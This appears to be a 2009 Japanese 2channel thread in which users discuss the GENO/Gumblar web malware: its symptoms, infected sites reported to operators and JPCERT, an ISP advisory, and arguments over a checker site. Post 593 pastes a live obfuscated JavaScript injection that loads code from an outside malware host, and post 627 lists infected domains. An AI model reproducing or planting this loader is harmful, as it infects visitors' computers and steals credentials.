587:名無しさん@お腹いっぱい。
09/05/24 19:53:50
でもジャノサイドはごろあうしなーw

588:名無しさん@お腹いっぱい。
09/05/24 19:58:49
>>584
でも、由来をしらなくて店名だと知ると
その店が何か悪いことしていると
考える人もいる。

589:名無しさん@お腹いっぱい。
09/05/24 20:01:50
今回の騒動でオレの中では、「ふくぜんウイルス」で定着した。

590:名無しさん@お腹いっぱい。
09/05/24 20:08:11
>>583
zolkon でなくて zlkon

591:名無しさん@お腹いっぱい。
09/05/24 20:12:34
>>588
そう感じる人も出てくるだろうね
利用歴ある俺としては残念だけどさ

592:名無しさん@お腹いっぱい。
09/05/24 20:19:35
流れ切ってスマン
GENOウイルスってDtoD領域に感染しにくい物?
簡単に感染する?
PC中古で買ったんで素人知識しか無くってGENOの存在最近知って


593:名無しさん@お腹いっぱい。
09/05/24 20:25:31
<script
language=javascript><!--
(function(){var u930=':76ar:20a:3d:22Scr:69:70:74Eng:69ne:22:2cb:3d:22
Version:28:29+:22:2cj:3d:22:22:2cu:3dn:61vi:67a:74or:2euser:41:67en:74:3bi:66:28
(u:2e:69:6edexOf:28:22C:68rome:22):3c0):26:26(u:2ein:64:65xOf:28:22Win:22:29:3e0)
:26:26:28u:2e:69n:64exOf(:22N:54:20:36:22):3c0):26:26(d:6fcum:65nt:2ecoo:6b:69:65
:2e:69:6e:64exOf:28:22m:69ek:3d:31:22):3c0):26:26(typeof:28zr:76zt:73):21:3dt:79peo
:66(:22A:22))):7bzr:76zts:3d:22A:22:3beval(:22if(w:69n:64ow:2e:22:2ba+:22:29j:3dj+:
22+a+:22Ma:6aor:22+b+a+:22:4din:6fr:22+b+a+:22Bui:6c:64:22+:62+:22j:3b:22)
:3bdocument:2ewrite(:22:3cscript:20s:72:63:3d:2f:2f:6dar:22+:22tuz:2ecn:2fv:69d:
2f:3fid:3d:22+:6a+:22:3e:3c:5c:2fscript:3e:22):3b:7d';var ED9=u930.replace(/:/g,'%')
var dd1=unescape(ED9);eval(dd1)})();
--></script>


テキトーなとこで改行したけどこれってGENOだよね??

594:名無しさん@お腹いっぱい。
09/05/24 20:27:01
>>592
少なくともGENOウイルスではDtoD領域を弄っていると言う報告は聞いたことが無い
中古だと別のウイルスに感染してたり変な細工されている可能性もあるがね

595:名無しさん@お腹いっぱい。
09/05/24 20:34:25
PC来たら、ネット繋げる前に
GENOチェック
ウイルスソフト入れてスキャン

これで平気ならとりあえず問題無しでおK?

他に問題有る?

596:名無しさん@お腹いっぱい。
09/05/24 20:36:13
ウイルスは入れちゃ駄目だろ

597:名無しさん@お腹いっぱい。
09/05/24 20:36:39
HDD入れ替えれば良いじゃない
どうせ中古HDDなんていつまで持つかわかんないんだし

598:名無しさん@お腹いっぱい。
09/05/24 20:37:44
>>595
問題大あり^^;

599:名無しさん@お腹いっぱい。
09/05/24 20:40:27
ふくぜんブログのコメントが賑わって来た

600:名無しさん@お腹いっぱい。
09/05/24 20:43:59
>>593
GENOっぽいね
martuzcnが見えた

601:名無しさん@お腹いっぱい。
09/05/24 20:47:41
中古PCとか勘弁だなあ
パーツの交換ができるデスクトップならまだしも
換えの効かないパーツが多いノートではファンが劣化してたりとか考えるとなー
修理に出す手間や費用考えたら新品の方が格段に良い

602:名無しさん@お腹いっぱい。
09/05/24 20:49:12
最近は、新品のUSBメモリ挿しただけで感染って事例もあるからな

603:名無しさん@お腹いっぱい。
09/05/24 20:52:39
>>602
USBメモリ刺しただけで自動実行とか馬鹿にも程がある仕組み考えた奴は今頃何してんのかな・・・

604:名無しさん@お腹いっぱい。
09/05/24 20:52:50
スマン言葉足りんかった;
ウイルスセキュリティソフトの間違い

新規HDDまでは資金的に厳しいから、とりあえず仕込まれてなければ壊れるまで頑張るつもり

605:名無しさん@お腹いっぱい。
09/05/24 20:54:26
GENOコナーズ

606:名無しさん@お腹いっぱい。
09/05/24 20:59:15
仕込まれてるのが判らないように巧妙に潜伏して情報を抜き取るのが今時のウイルスです

利用者を脅かしたり嫌がらせが主な目的の昔のウイルスみたいに
素人にも存在をアピールしまくるのは今ではもう稀だろ

607:名無しさん@お腹いっぱい。
09/05/24 21:09:17
アピールしまくったせいでこうなった

608:名無しさん@お腹いっぱい。
09/05/24 21:14:04
子供のころに世界不思議発見かなんかで見たコンピュータウィルス特集に
画面にパックマンが現れてデータ消してくとかあったなw
子供のころはすげーって思ったが今にして思えば製作者は何がしたかったのかと

609:名無しさん@お腹いっぱい。
09/05/24 21:15:54
avastで確認したらマルウェアが検出されましたって出たんですけれども
クリーンインストールですか

610:名無しさん@お腹いっぱい。
09/05/24 21:17:34


611:名無しさん@お腹いっぱい。
09/05/24 21:24:59
>>608
たぶんパックマンがトラウマンになる


612:名無しさん@お腹いっぱい。
09/05/24 21:27:49
精神的にやられてるならクリーンインストールしたほうが心の為になると思わない?

613: ◆f/iQdjPxCM
09/05/24 21:34:28
>>580
> ネ板で変なexe作ってた人たちがいたけど

誰も駆除には手を着けてないはず。
「駆除」を名乗れるほど入手・解析の両面で網羅した人は居ないだろうしね。


>>28,>>142
当初から
URLリンク(www.symantec.com)
> また、次の文字列を含むプロセスが実行されるのを阻止します。
> .com
> .bat
> .reg
> cmd
> reged
が無かったならば、ベストな手法だったかも。
これが故に汎用性が落ちるのが惜しいところ。
今回のzlkon系という括りに対してはともかく、
将来の他のdrivers32起点型malwareで阻止されない場合には有用だろうね。

614:名無しさん@お腹いっぱい。
09/05/24 21:41:27
都会では 感染する 若者が 増えている
今朝きた 新聞の 片隅に 書いていた
だけども 問題は インフルエンザ マスクがない

615:名無しさん@お腹いっぱい。
09/05/24 21:43:52
>>588
悪いことしているというより悪い事をしたんだけどな

616:名無しさん@お腹いっぱい。
09/05/24 21:43:56
>>614
悲しい歌はやめろおおおおおおおおお

617:名無しさん@お腹いっぱい。
09/05/24 21:48:43
>>613
なんで.batと.cmdだけ阻止なんだろ。次の亜種はVBScriptでもひっさげてくるのか?

618:名無しさん@お腹いっぱい。
09/05/24 22:19:23
さっきabode使ってたら 調査の協力をお願いします見たいのが出てきて
それを承諾してしばらくしたら突然Windowsに必要なファイルが見つかりません見たいな警告が出てきた
気になってcmdやってみたら見つかりません sqlsodbcもファイル自体発見できず
再起動してみたら必要なファイルがない為起動できませんってなった
ノートンのおかげで復帰できたけど GENOと関係あるのかな・・・ ないにしろビックリした

619:名無しさん@お腹いっぱい。
09/05/24 22:20:22
>>618
おちつけ
それと環境と前後の状況をかくんだ

620:名無しさん@お腹いっぱい。
09/05/24 22:22:37
騒ぎすぎ
不安を煽り立てるのが上手な方たちですね。

621:名無しさん@お腹いっぱい。
09/05/24 22:24:13
DaonolFix を含むURL作って踏めば駆除できるやん

622:名無しさん@お腹いっぱい。
09/05/24 22:25:51
つーことはこれ踏めばおk?
URLリンク(pc11.2ch.net)

623:名無しさん@お腹いっぱい。
09/05/24 22:29:35
感染したサイトが一時閉鎖すればいいだけだろ
ばらまくなよ

624:名無しさん@お腹いっぱい。
09/05/24 22:30:17
>>614
井上さん乙

625:名無しさん@お腹いっぱい。
09/05/24 22:33:56
一番古い感染報告は、いつ頃?
オレはsqlsodbc.chmが書き換えられた日付が3月21日だったけど

626:名無しさん@お腹いっぱい。
09/05/24 22:37:51
亜種はcmd.exe起動するってほんと?

627:名無しさん@お腹いっぱい。
09/05/24 22:43:22
「ふくぜん」はなんだかんだで対処したのでエライですね。
以下、完全放置を決込んでるツワモノ。。。
*感染注意*
www.ti-a-ra.com
www1.odn.ne.jp/revue1999
www.k-q-bury.com

628:名無しさん@お腹いっぱい。
09/05/24 22:44:55
>>625
日付についてはどうとでもなるのでサイズで確認推奨
>>626
起動したのもあったとおもう
不完全だったのか亜種だったのか不明

629:名無しさん@お腹いっぱい。
09/05/24 22:51:16
パソコンなんて使わなきゃいいんだよ
電話とファクシミリで十分

630:名無しさん@お腹いっぱい。
09/05/24 22:52:21
>>629
なにそれこわい

631:名無しさん@お腹いっぱい。
09/05/24 22:53:35
>>627
感染率1000%・・・

今のところあるセキュリティソフトの中で一番対応がしっかりしてて
ウイルスの駆除や情報、解析がしっかりしてるのってどれなんだ・・・

632:名無しさん@お腹いっぱい。
09/05/24 22:56:20
>>620

この板も強制ID導入したほうがいいかもな。

633:名無しさん@お腹いっぱい。
09/05/24 23:02:42
>>631
騒ぎがあるたびに乗り換えてたらキリがないよ
ある程度のソフトが対応できてきてるし
いま使ってるやつが期限切れてないならそれでおk

セキュリティソフトを過信するよりも他の対策方法があるんだから
そういうのをしっかりやりましょう
Genoに限らずOSや各種ソフトの更新はセキュリティ対策として基本的なことだよ
Geno対策についてはスレの上のほうも見てね

634:名無しさん@お腹いっぱい。
09/05/24 23:04:03
ID導入で廃れるな
間違いない

635:名無しさん@お腹いっぱい。
09/05/24 23:06:33
自作自演はある程度難しくなりますねw

636:名無しさん@お腹いっぱい。
09/05/24 23:15:16
URLリンク(www.gred.jp)
gred(グレッド)は、株式会社セキュアブレイン
(URLリンク(www.securebrain.co.jp))が開発し、運営しています。
早く対応しないと会社の信用が落ちるのに、どうなってるんだろ?

gred開発チームのブログ
URLリンク(info.gred.jp)

637:名無しさん@お腹いっぱい。
09/05/24 23:21:04
フシアナすればID見れるんだな

638:名無しさん@お腹いっぱい。
09/05/24 23:52:58
>>627
2番目は放置決め込んでる管理者よりODNに消させたほうが早いだろ

639:名無しさん@お腹いっぱい。
09/05/24 23:58:52
>>627
JPCERT/CCへ連絡しました

640:名無しさん@お腹いっぱい。
09/05/25 00:19:45
>>627
一番上:5/16にメール済み。開封確認届いていない。サーバー業者abuse行きかな。
二番目:5/16にメールしたのが読まれていない模様。サーバー業者のabuseに投げとくわ。
三番目:5/21にメール 15:15に、HP管理会社に問い合わせ中との返答あり。対応中。(多分、週明けに動く?)

641:名無しさん@お腹いっぱい。
09/05/25 00:34:38
>>640
「サロン情報リスト」の中の人とは別の方ですね?
お疲れ様です。
genolists.alink.uic.to
こちらもまだまだ放置多いみたいですね。

642:名無しさん@お腹いっぱい。
09/05/25 00:37:55
>>641
はいの、別人です。リストに載ってるものはあらかたチェックしてメールした…筈。

>627の上2件、サーバー業者abuse または 技術管理担当者 宛に報告完了。

643:名無しさん@お腹いっぱい。
09/05/25 01:45:45
ふくぜんに返答コメントがついてた

644:名無しさん@お腹いっぱい。
09/05/25 01:55:52
スレリンク(news板:176番)
これは?

645:名無しさん@お腹いっぱい。
09/05/25 02:02:13
>>644
ニコニコの偽者っぽいやつは中国のマルウェア配布サイト

646:名無しさん@お腹いっぱい。
09/05/25 02:38:52
jpgの女は殺られたね
かわいそうに

647:名無しさん@お腹いっぱい。
09/05/25 03:22:45
寝るか


648:名無しさん@お腹いっぱい。
09/05/25 03:48:43
>>613
よく考えたらその通りだな
まあ安心したいならregコマンド実行してみてくれつーことで
DaonolFix落として実行したほうが分かりやすくて早いんだけどな

649:名無しさん@お腹いっぱい。
09/05/25 10:04:25
これMSが作ったんじゃねーか?Vista売るために。

650:名無しさん@お腹いっぱい。
09/05/25 10:05:51
これM$が作ったんじゃねーか?7売るために。

651:名無しさん@お腹いっぱい。
09/05/25 10:09:10
>>627
ふくぜんは直ってないぞ

652:名無しさん@お腹いっぱい。
09/05/25 10:19:58
いや直ってるだろ
サイトマップから全てのページのソース見たけど怪しい記述はなかった
jsの中も改ざんされてないし
googleに頼る前にソース見ろよ

653:名無しさん@お腹いっぱい。
09/05/25 10:41:46
ここってどうなんですか?
クロームじゃ真っ赤な画面になります。
URLリンク(page15.auctions.yahoo.co.jp)
もし感染しているとしたら、すでにヤフオクにも蔓延?

654:名無しさん@お腹いっぱい。
09/05/25 10:53:27
ヤフオク自体は感染してないけど

GUITAR CRAFT(guitarcraft.jp)ってサイトが感染しててそれをgoogleが危険と判断
>>653ではそのguitarcraft.jpから画像を読み込もうとしてるから「大丈夫?怪しくない?」ってchromeが警告出してる状態
>>653自体は踏んでも問題ないけどリンク先は保証しないよ

655:名無しさん@お腹いっぱい。
09/05/25 10:55:00
コロンブスへは誰か連絡したの?まだ直ってないよ。

656:名無しさん@お腹いっぱい。
09/05/25 11:00:03
ちょっと時間かかるよ

657:名無しさん@お腹いっぱい。
09/05/25 11:00:51
>>649
ありうる
作って得する奴が作ったんだろうね

658:名無しさん@お腹いっぱい。
09/05/25 11:01:11
>>634
ありがとうございます。


659:名無しさん@お腹いっぱい。
09/05/25 12:17:01
【Gumblar (通称 GENOウイルス)】にご注意を
ベクターPCショップ??対策別セキュリティソフトの選び方
URLリンク(shop.vector.co.jp)

現在、「Gumblar」(GENOウイルス、JSRedir-Rとも表記)が急速に蔓延しています。
これはFlashやPDFビューアのプラグインの脆弱性をついて感染する新種の「トロイの木馬」です。
Webサイトを参照しただけで感染する悪質なウイルスのため、一般のユーザーでも警戒が必要です。
また、サイト管理者の方のパソコンがこのウイルスに感染すると、入手したパスワードからサイトを改変します。
このサイトにアクセスすると、別サイトからウイルスやスパイウェアなどをダウンロードさせます。

■感染した場合の影響
・sqlsodbc.chmを改変
・レジストリエディタ、コマンドプロンプトが起動不能
・一部のアンチウイルスソフトが更新不能
・特定サイトにアクセス不能(WindowsUpdate、ウイルス対策ソフト関連サイトなど)
・ユーザー名やパスワード等の情報を収集
・Googleの検索結果を改竄
・explorer.exeや一部のブラウザが異常終了
・PDFファイルやシステムファイルが増殖
・パソコンの動作が重くなる

詳細な情報は、各ウイルス対策ソフトメーカーのWebサイト等でご確認ください。

660:名無しさん@お腹いっぱい。
09/05/25 12:21:28
BIGLOBEからメール来てて驚いた
ちゃんと対策とれよと書いてた

661:名無しさん@お腹いっぱい。
09/05/25 12:28:39
sqlsodbc.chmを改変されてないけどGENOっぽいのにやられた
Windowsと一緒にヘルプファイルの大量起動&肥大化
今スキャン中っていうかOneCare仕事しろ

662:名無しさん@お腹いっぱい。
09/05/25 12:31:27
亜種?

663:名無しさん@お腹いっぱい。
09/05/25 12:54:52
それ、ただのブラクラなんじゃ?

664:名無しさん@お腹いっぱい。
09/05/25 13:01:08
>>663
いや起動と同時にヘルプファイルがガンガン開き始めて400くらいまでいったんだが
ブラクラで通常終了後、起動と同時に仕掛ける時限式なんてあるのかな
ブラウジングなんてJaneで2ちゃんしか開いて無いぞ

あとGENOチェッカーで昨晩踏んだ疑わしいサイト(エロ同人系)
かけてもせいぜい危険度34%程度だった

665:名無しさん@お腹いっぱい。
09/05/25 13:10:31
>>660
こぴぺよろ
メルアドとか名前とかは消していいから

666:名無しさん@お腹いっぱい。
09/05/25 13:10:53
どれ?

667:名無しさん@お腹いっぱい。
09/05/25 13:15:15
>>664
> ブラウジングなんてJaneで2ちゃんしか開いて無いぞ
> あとGENOチェッカーで昨晩踏んだ疑わしいサイト(エロ同人系)

矛盾してね?
チェッカーで見ただけなのかブラウザで見たのかどっちですか?
それ以外もエロサイト行ってるならそのへんが原因だとおもう

668:名無しさん@お腹いっぱい。
09/05/25 13:23:34
>>667
ああごめんちょっと書き方がまずかったね

昨晩エロ同人系一ヶ所だけ見て何事も無く終了
けさPC起動してJane立ち上げてるとヘルプファイル大量起動に気付く
とりあえずタスクマネージャで一掃
もしやと思いそのエロ同人サイトをチェッカーにかけてもはっきりとした判定は出ず

ってこと、同人系は本当にそこしか行って無いし
さっきから履歴見て他一般系も調べてるけど今のとこ反応出ない

669:名無しさん@お腹いっぱい。
09/05/25 13:26:56
先ずそのリンクを晴

670:名無しさん@お腹いっぱい。
09/05/25 13:30:17
え、自分もjane大量に立ち上がることあるがウイルスなのか?
単なるバグかと思ってたが

671:名無しさん@お腹いっぱい。
09/05/25 13:31:06
あいよ、ここしか行ってないのは確か
http:■■samurai3.net■
しかしID無いと不便だな

672:名無しさん@お腹いっぱい。
09/05/25 14:42:33
>>665
BIGLOBEの会員全員に送られてるメールだよ
内容はたしかアドビ製品の更新とウィルス対策ソフトを入れろってやつ

673:名無しさん@お腹いっぱい。
09/05/25 14:48:42
>>671
すくなくとも、現時点ではGENO呼び出しは入ってないようだ。

674:名無しさん@お腹いっぱい。
09/05/25 14:49:47
adobeとMSにまず呼び出しするべきだな GENO呼んでも対策にならん

675:名無しさん@お腹いっぱい。
09/05/25 14:51:06
えっ?

676:名無しさん@お腹いっぱい。
09/05/25 14:51:09
>>668
二行目ではさも1サイトしか閲覧してないようなことをいってるのに
最後の行では他も行ってそうなことをほのめかしてるんだが
何でそんなに情報隠蔽して小出しなの?
Geno感染は同人系サイトだけじゃないよ
あとチェッカーじゃなくてソース見てくれ

>>671は問題なさそう
スキャン結果も出たらkwsk

677:名無しさん@お腹いっぱい。
09/05/25 14:52:33
>>668
HELPファイルの大量起動:少なくともGENOではない。

なにかのファイルを多数開いてPCをクラッシュさせるブラクラは、マルウェア(ウイルス)ちゃいます。
もっかいPC再起動して、同じ症状が出るか確認。スタートアップに変なものいないか確認。

678:名無しさん@お腹いっぱい。
09/05/25 14:55:00
チェッカーは凄く役立つけど過信しすぎるのは...

679:名無しさん@お腹いっぱい。
09/05/25 14:56:21
>>5
アフィチェッカー

680:名無しさん@お腹いっぱい。
09/05/25 14:58:06
余計なこと言うな
適当にほめとけ

681:名無しさん@お腹いっぱい。
09/05/25 15:02:28
チェッカーの人、定期的にν速で適当なGENOスレ建てて宣伝してるね

682:名無しさん@お腹いっぱい。
09/05/25 15:03:54
アフィで必死なんだろう。生暖かく見守ってやろうぜ。自分に影響ない箇所でやってる分には。

683:名無しさん@お腹いっぱい。
09/05/25 15:04:47
>>681
そういうこと書くと「セキュ板の民度が~」「レベル低い」
って言い出すからやめとけ

684:名無しさん@お腹いっぱい。
09/05/25 15:06:44
うちも
他板で聞いてもバカとかいわれたし
知らないくせにでしゃばんじゃねーよって感じ
しょせんキモヲタ(笑)

685:名無しさん@お腹いっぱい。
09/05/25 15:11:12
GENOチェッカーについて都合の悪い書き込みがある。

「セキュリティ板はレベルが低い。有用な情報書き込むつもりだったけどやめました。」と
他の板のスレに書き込み始める。

686:名無しさん@お腹いっぱい。
09/05/25 15:15:49
アンチの自演が始まったってレスがつくぞ

687:名無しさん@お腹いっぱい。
09/05/25 15:19:56
あの人の話題はやめてくれ
空気悪くなるから

688:名無しさん@お腹いっぱい。
09/05/25 15:22:16
アフィのやつはageるからわかりやすかったのにな
黙ってりゃよかったのに

689:名無しさん@お腹いっぱい。
09/05/25 15:26:44
誤認定ハ消ソウト思エバ一瞬デ消セマスヨ。
万ガ一亜種ガ出タ時ノコトヲ考エテ、余剰処理ヲ残シテアルンデス。

ゴリゴリ大好キサンナラ、ソースヲ読ミ込マセテ外部JSノURLヲ出力スルヤツクラハイ

690:名無しさん@お腹いっぱい。
09/05/25 15:26:49
アフィ野郎も死ね

691:名無しさん@お腹いっぱい。
09/05/25 15:27:05
ageなくても文体でわかるが

692:名無しさん@お腹いっぱい。
09/05/25 15:28:20
あたしのためにケンカするのはやめて!

693:名無しさん@お腹いっぱい。
09/05/25 15:29:39
じゃあ、あしたのためにケンカする!

694:名無しさん@お腹いっぱい。
09/05/25 15:30:25
かっこつけやがって・・・

695:名無しさん@お腹いっぱい。
09/05/25 15:30:46
これでいいんだ……これで

696:名無しさん@お腹いっぱい。
09/05/25 15:34:35
アフィ、チェッカーをNG登録完了
荒らすなよ

697:名無しさん@お腹いっぱい。
09/05/25 15:37:26
                              / ̄ ̄ ヽ,
           喧嘩をやめゅてぇ~♪    / 丶 /   ',
                         ノ//, {゚}  /¨`ヽ {゚} ,ミヽ
 アンチをとゅめてぇ~♪        / く l   ヽ._.イl    , ゝ \
  .ni 7                  / /⌒ リ   ヘ_/ノ   ' ⌒\ \
l^l | | l ,/)                (   ̄ ̄⌒          ⌒ ̄ _)
', U ! レ' /   / ̄ ̄ ヽ,       ` ̄ ̄`ヽ           /´ ̄
/    〈   /        ',        .n   .|   ・    ・   |
     ヽっ{゚}  /¨`ヽ {゚},       l^l.| | /)ノ           |
  /´ ̄ ̄ .l   ヽ._.イl  ',      | U レ'//)           ノ
/  ィ-r--ノ   ヘ_/ノ   ',    ノ    /          ∠_
   ,/              ヽ rニ     |  f\      ノ     ̄`丶.
  丿'               ヽ、  `ヽ   l |  ヽ__ノー─-- 、_   )
. !/                  ヽ、 |   | |           /  /
/                      !jl   |ノ          ,'  /
 .l                      l    |          |   ,'
 .|  ・                  丶   ヽ         |  /
 !                 ア!、,  |   |        ,ノ 〈
./            ・   ./'  (  ヽ_____ノ        ヽ.__ \
                 /   ヽ._>              \__)

698:名無しさん@お腹いっぱい。
09/05/25 15:38:22
>>665
貼ろうと思ったけど本文長すぎっていわれたー


699:名無しさん@お腹いっぱい。
09/05/25 15:40:32
分けて貼るの面倒くさいしー

700:名無しさん@お腹いっぱい。
09/05/25 15:41:01
>>698
画像でうpしてみるのは?
キャプったあとに名前とか修正してうp

701:名無しさん@お腹いっぱい。
09/05/25 15:42:25
テキストも画像もうpは面倒くさいー

702:名無しさん@お腹いっぱい。
09/05/25 15:44:22
また荒らしが来てる気がする

703:名無しさん@お腹いっぱい。
09/05/25 15:52:05
「【重要】ホームページ改ざん防止のため今すぐ対策をお願いします」って件名のメールだったら来たけど。
それの話?5月22日に送られてきた。
>>672も書いてる通り。そしてFTPのパスワードは定期的に変更して下さいっていうことも書いてある。

704:名無しさん@お腹いっぱい。
09/05/25 15:53:22
もう感染してたらパスワード変えたって意味ないよな

705:名無しさん@お腹いっぱい。
09/05/25 15:54:35
                            2009年5月22日
BIGLOBE個人ホームページを
ご利用のみなさま
                      NECビッグローブ株式会社
                      BIGLOBEカスタマーサポート
━━━━━━━━━━━━━━━━━━
  【重要】ホームページ改ざん防止のため今すぐ対策をお願いします
━━━━━━━━━━━━━━━━━━
※このメールは大切なお知らせのため、5月20日現在BIGLOBE個人ホームページ
 を契約中のお客様全員にお送りしています。


 平素より弊社のBIGLOBEサービスをご利用いただき、誠にありがとうござい
 ます。

 現在、ウイルス感染によりホームページが改ざんされる事例が多数報告され
 ています。
 この改ざんされたホームページを閲覧するだけで、パソコンがウイルスに感
 染する可能性があります。

 感染は、パソコンにあるAdobe ReaderやAdobe Acrobat、Adobe Flashの脆弱
 (ぜいじゃく)性を利用して行われます。
 ウイルスに感染すると、お客様が個人ホームページをアップロードする際に
 用いるFTPアカウントおよびFTPパスワードが盗まれた上に、お客様のホーム
 ページが改ざんされてしまう可能性があります。

 お客様の大切なホームページが感染被害にあったり、感染および改ざんに
 よってお客様ご自身が感染の加害者となったりする可能性を低くするため
 に以下の対策をすぐに行ってください。

706:名無しさん@お腹いっぱい。
09/05/25 15:55:38
---------------------------------------------------------------------
 ◆ウイルス感染する可能性のあるシステム
---------------------------------------------------------------------
  - Adobe Reader/Acrobat 9.1 およびそれ以前のバージョン
  - Adobe Flash Player 10.0.12.36 およびそれ以前のバージョン
 
---------------------------------------------------------------------
 ◆対策
---------------------------------------------------------------------
 1.Adobe製品を最新版にアップデートする
  1-1. Adobe Reader および Acrobat を最新版(9.1.1以降)にアップ
    デートする
    ■最新バージョンのAdobe Readerのダウンロード
      URLリンク(get.adobe.com)
 
     ※上記インストール後、Adobe Reader を起動して
      「ヘルプ」→「アップデートの有無をチェック」を選び、
      最新版(9.1.1)にアップデートしてください。
      なお、新規インストール時は9.1版であり、最新版ではない
      のでご注意ください(2009年5月20日時点)。

  1-2. Adobe Flash Player を最新版にアップデートする
    ■Adobe Flash Playerのインストール
      URLリンク(get.adobe.com)

707:名無しさん@お腹いっぱい。
09/05/25 15:56:21
 さらに、このウイルスに感染する可能性を低くするためには次の対策も実施
 してください。

 2.ウイルス対策ソフトを導入、または最新版にアップデートする
    ウイルス対策ソフトをまだ導入されていない場合は速やかに導入し、
    すでに導入済みの場合は最新版にアップデートしてください。
    なお、ウイルス対策ソフトを導入する際には、BIGLOBEの「セキュリ
    ティセット・プレミアム」をご検討ください。
    ■「セキュリティセット・プレミアム」
      URLリンク(security.biglobe.ne.jp)

 3.FTPパスワードを変更する
    ■管理画面へのログイン
      URLリンク(homepage.biglobe.ne.jp) 

     ※FTPパスワードは定期的に変更してください。
---------------------------------------------------------------------
 ◆参考情報
---------------------------------------------------------------------
    ■ JPCERT コーディネーションセンター からの注意喚起
      URLリンク(www.jpcert.or.jp)

 今後ともBIGLOBEをご愛顧賜りますよう、よろしくお願いいたします。

708:名無しさん@お腹いっぱい。
09/05/25 15:57:15
え?改竄してるウイルスもGENOウイルスなの?
それはソース無くね?

709:名無しさん@お腹いっぱい。
09/05/25 15:57:53
とりあえずはったぞ

710:名無しさん@お腹いっぱい。
09/05/25 15:59:03
別に貼らなくても良かったです

711:名無しさん@お腹いっぱい。
09/05/25 16:00:33
>>702
その予感は的中しているよ

712:名無しさん@お腹いっぱい。
09/05/25 16:15:41
次スレでは>>5のサイト載せるんじゃねえぞ
アフィ見るぐらいなら感染した方がよっぽどマシだ

713:名無しさん@お腹いっぱい。
09/05/25 16:18:36
じゃどこか感染するサイトを載せるようにすればいいのか?

714:名無しさん@お腹いっぱい。
09/05/25 16:19:25
↑こいつ最高にあほ

715:名無しさん@お腹いっぱい。
09/05/25 16:20:41
アフィ叩きしてる俺たち、すごい一体感を感じる!

716:名無しさん@お腹いっぱい。
09/05/25 16:25:02
>>712
載せないのは構わんが、感染するのは嫌だろw

>>713
勘弁してくれ

717:名無しさん@お腹いっぱい。
09/05/25 16:25:25
194 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2009/05/23(土) 17:51:18
チェッカー叩きする俺たちカッコイイ!

718:名無しさん@お腹いっぱい。
09/05/25 16:26:34
半角カナ

17 名前:192.168.0.774[] 投稿日:2009/05/23(土) 13:53:57 ID:Hx9+/5Qd0
なんだよ
ID:F81SI+Tt0=ID:ta6edS2L0
かよww

必死ダナーwww

719:名無しさん@お腹いっぱい。
09/05/25 16:29:52
俺的にはアフィを使うのはまだ許せるが
チェッカー自体が既に役立たずのゴミなのが許せん
次スレにリンク貼って欲しかったら改善しろよ

720:名無しさん@お腹いっぱい。
09/05/25 16:40:29
>>294にも出てきて無いし名無しに戻ったのか
低スキルが目立とうとするとこの様ですよ
他人に書いてもらったスクリプトの言語が違うから書き直せとか
恥ずかしすぎる死んでくれ

721:名無しさん@お腹いっぱい。
09/05/25 16:45:57
次スレいらない雰囲気
ニュー速見てきたらスレなかったしもういいんじゃないか

722:名無しさん@お腹いっぱい。
09/05/25 16:59:30
とりあえずチェッカー自体どうでもいいんだが
>>1にあるテンプレを書き換えてチェッカーのURLだけにした奴はひどいと思った

723:名無しさん@お腹いっぱい。
09/05/25 17:02:05
別にいいんじゃね
テンプレ糞だし

724:名無しさん@お腹いっぱい。
09/05/25 17:05:08
技術もなにもないやつがグズグズ文句垂れ流してウザすぎる

725:名無しさん@お腹いっぱい。
09/05/25 17:06:54
>>724
はいはい、そうですねそうですね

726:名無しさん@お腹いっぱい。
09/05/25 17:10:10
>>724
グズグズ乙

727:名無しさん@お腹いっぱい。
09/05/25 17:12:16
ぐすん・・・

728:名無しさん@お腹いっぱい。
09/05/25 17:17:55
チェッカー馬鹿にしてるけど結局オマエラ使ってるんだろ?
文句言うなや

729:名無しさん@お腹いっぱい。
09/05/25 17:20:51
まぁ、今は特にネタないしな

730:名無しさん@お腹いっぱい。
09/05/25 17:31:04
ソース見ちゃうからチェッカーしらないんだよなあ

731:名無しさん@お腹いっぱい。
09/05/25 17:31:22
Windowsヘルプファイルが大量に出てクラッシュしかけた者だが
OneCareによるフルスキャン完了、何にもなし
それで再起動したんだが今度は特に不具合出てはいない
何だったのあれ

732:名無しさん@お腹いっぱい。
09/05/25 17:37:10
>>731
ブラクラ?

733:名無しさん@お腹いっぱい。
09/05/25 18:36:10
スレリンク(newsplus板)
ここの>>8にウィルスコードが張られたんだけど
俺のavast!タソがうんともすんとも言わなかった
セキュリティ的にやばい?

734:名無しさん@お腹いっぱい。
09/05/25 18:46:47
やっぱウイルスコードって響きがいかんのかもね

735:名無しさん@お腹いっぱい。
09/05/25 18:51:28
ダヴィンチコード

736:名無しさん@お腹いっぱい。
09/05/25 19:32:59
>>731
多分ブラクラでしょ~

737:名無しさん@お腹いっぱい。
09/05/25 19:58:44
>>733
やばいとおもうならやばいんじゃね
いろいろ調べてセキュリティ対策してね

738:名無しさん@お腹いっぱい。
09/05/25 19:59:48
>>733
普通と高の違いとでも言っておこうかな

739:名無しさん@お腹いっぱい。
09/05/25 21:54:29
>>734
有害プログラミング

740:名無しさん@お腹いっぱい。
09/05/25 22:18:48
感染サイトリスト見たけどずいぶん増えてるな

741:名無しさん@お腹いっぱい。
09/05/25 22:24:33
感染サイトリストってso-netの?

742:名無しさん@お腹いっぱい。
09/05/25 22:34:00
>>741
>>237

743:名無しさん@お腹いっぱい。
09/05/25 22:49:56
このウィルスを作った人物ってどこの人かわかっているの?
プログラムは技術的に高度なの?

744:名無しさん@お腹いっぱい。
09/05/25 22:55:25
自分で解析しろ

745:名無しさん@お腹いっぱい。
09/05/25 23:12:08
つか、チェッカーの中の人を叩くのは頷けん。

一定の努力やら労力を行使してるのを叩くのは(・A ・) イクナイ!


なんでも『批判ありき』ってのはどうかと思うよ。

746:名無しさん@お腹いっぱい。
09/05/25 23:13:07
>>745
みんな分かっているからおkだ
変なのはどこにもいるさ

747:名無しさん@お腹いっぱい。
09/05/25 23:13:20
>>745
自演って言われるからそういうレスもしないが吉

748:名無しさん@お腹いっぱい。
09/05/25 23:19:43
>>745
2chを大半を占める無能ニートや技術無しゆとりなんて、それが生き甲斐なんだから仕方ない
何も出来ない自分と何を出来る他人を比べてどうして様も無く惨めになって
泣きながら叩く姿をあざ笑ってれば良いんだよ。作れる側は

749:名無しさん@お腹いっぱい。
09/05/25 23:20:35
技術もなにもって話

750:名無しさん@お腹いっぱい。
09/05/25 23:21:57
>>745
叩く努力や労力も評価してね

751:名無しさん@お腹いっぱい。
09/05/25 23:23:12
>>748
